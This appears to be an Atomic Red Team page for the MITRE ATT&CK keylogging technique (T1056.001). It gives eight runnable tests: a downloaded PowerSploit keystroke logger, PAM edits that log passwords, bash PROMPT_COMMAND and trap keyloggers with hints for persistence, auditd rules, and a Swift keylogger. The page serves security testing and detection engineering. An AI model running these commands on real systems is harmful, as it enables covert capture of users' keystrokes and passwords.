Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:
* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.
* Reading raw keystroke data from the hardware buffer.
* Windows Registry modifications.
* Custom drivers.
* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)
Atomic Tests
Utilize PowerShell and external resource to capture keystrokes
Payload
Provided by PowerSploit
Upon successful execution, Powershell will execute
Supported Platforms: Windows
auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| filepath | Name of the local file, include path. | path | $env:TEMP\key.log|
Attack Commands: Run with
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| &"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath #{filepath}
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Cleanup Commands:
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| Remove-Item $env:TEMP\key.log -ErrorAction Ignore
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Dependencies: Run with
Description: Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1
Check Prereq Commands:
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| if (Test-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") {exit 0} else {exit 1}
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Get Prereq Commands:
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| New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") -Force | Out-Null
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1"
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Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.
Passwords hidden by the console can also be logged, with ‘log_passwd’ as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. ‘disable=*’ as the initial command).
Use ‘aureport –tty’ or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library.
Supported Platforms: Linux
auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b
Attack Commands: Run with
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| if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;
if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;
sudo touch /tmp/password-auth.bk
sudo touch /tmp/system-auth.bk sudo echo "session required pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session required pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/system-auth
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Cleanup Commands:
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| sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth
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Dependencies: Run with
Description: Checking if pam_tty_audit.so is installed
Check Prereq Commands:
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| test -f '/usr/lib/pam/pam_tty_audit.so -o /usr/lib64/security/pam_tty_audit.so'
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Get Prereq Commands:
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| echo "Sorry, you must install module pam_tty_audit.so and recompile, for this test to work"
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Atomic Test #3 - Logging bash history to syslog
There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable “if set” will be executed before the PS1 variable and can be configured to write the latest “bash history” entries to the syslog.
To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/
Supported Platforms: Linux
auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5
Attack Commands: Run with
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| PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
tail /var/log/syslog
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Cleanup Commands:
Dependencies: Run with
Description: This test requires to be run in a bash shell and that logger and tee are installed.
Check Prereq Commands:
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| if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi
if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi
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Get Prereq Commands:
Atomic Test #4 - Logging sh history to syslog/messages
There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable “if set” will be executed before the PS1 variable and can be configured to write the latest “bash history” entries to the syslog.
To gain persistence the command could be added to the users .shrc or .profile
Supported Platforms: Linux
auto_generated_guid: b04284dc-3bd9-4840-8d21-61b8d31c99f2
Attack Commands: Run with
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| PS2=`logger -t "$USER" -f ~/.sh_history`
$PS2
tail /var/log/messages
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Cleanup Commands:
Dependencies: Run with
Description: This test requires to be run in a bash shell and that logger and tee are installed.
Check Prereq Commands:
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| if [ "$(echo $SHELL)" != "/bin/sh" ]; then echo -e "\n***** sh not running! *****\n"; exit 1; fi
if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
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Get Prereq Commands:
Atomic Test #5 - Bash session based keylogger
When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = “echo $BASH_COMMAND”. The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger.
To gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/
Supported Platforms: Linux
auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| output_file | File to store captured commands | string | /tmp/.keyboard.log|
Attack Commands: Run with
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| trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
echo "Hello World!"
cat #{output_file}
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Cleanup Commands:
Dependencies: Run with
Description: This test requires to be run in a bash shell
Check Prereq Commands:
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| if [ "$(echo $0)" != "bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi
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Get Prereq Commands:
Atomic Test #6 - SSHD PAM keylogger
Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.
Supported Platforms: Linux
auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| user_account | Basic ssh user account for testing. | string | ubuntu|
Attack Commands: Run with
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| cp -v /etc/pam.d/sshd /tmp/
echo "session required pam_tty_audit.so disable=* enable=* open_only log_passwd" >> /etc/pam.d/sshd
systemctl restart sshd
systemctl restart auditd
ssh #{user_account}@localhost
whoami
sudo su
whoami
exit
exit
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Cleanup Commands:
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| cp -fv /tmp/sshd /etc/pam.d/
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Dependencies: Run with
Description: This test requires sshd and auditd
Check Prereq Commands:
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| if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi
if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi
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Get Prereq Commands:
Atomic Test #7 - Auditd keylogger
The linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log.
Supported Platforms: Linux
auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af
Attack Commands: Run with
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| auditctl -a always,exit -F arch=b64 -S execve -k CMDS
auditctl -a always,exit -F arch=b32 -S execve -k CMDS
whoami; ausearch -i --start $(date +"%d/%m/%y %H:%M:%S")
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Cleanup Commands:
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| systemctl restart auditd
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Dependencies: Run with
Description: This test requires sshd and auditd
Check Prereq Commands:
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| if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi
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Get Prereq Commands:
Atomic Test #8 - MacOS Swift Keylogger
Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.
Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.
Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74
Supported Platforms: macOS
auto_generated_guid: aee3a097-4c5c-4fff-bbd3-0a705867ae29
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| swift_src | Location of swift script | path | PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift|
Attack Commands: Run with
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| swift #{swift_src} -keylog
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Cleanup Commands:
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| kill `pgrep swift-frontend`
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Dependencies: Run with
Check Prereq Commands:
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| if [ -f #{swift_src} ]; then chmod +x #{swift_src}; else exit 1; fi
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Get Prereq Commands: